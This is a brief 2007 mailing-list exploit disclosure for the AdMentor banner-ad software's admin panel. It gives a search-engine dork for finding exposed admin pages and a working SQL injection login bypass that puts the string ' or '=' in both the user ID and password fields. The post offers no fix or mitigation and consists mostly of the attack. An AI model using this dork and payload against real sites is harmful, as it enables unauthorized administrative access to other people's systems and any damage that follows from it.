AdMentor (banners) admin SQL injection
Date: 27 Jan 2007 13:36:01 -0000
From: [email protected]
To: [email protected]
Subject: AdMentor (banners) admin SQL injection
X-Virus-Scanned: antivirus-gw at tyumen.ru
* AdMentor (banners) admin SQL injection
* By : sn0oPy
* Risk : high
* Site : http://www.aspcode.net/products/admentor
* Dork : inurl:"admentor/admin"
* exploit :
UserID = 'or' '='
Password = 'or' '='
* contact : [email protected]
* greetz : [subzero], Avg Team(http://forums.avenir-geopolitique.net).
references : http://forums.avenir-geopolitique.net/viewtopic.php?t=2606
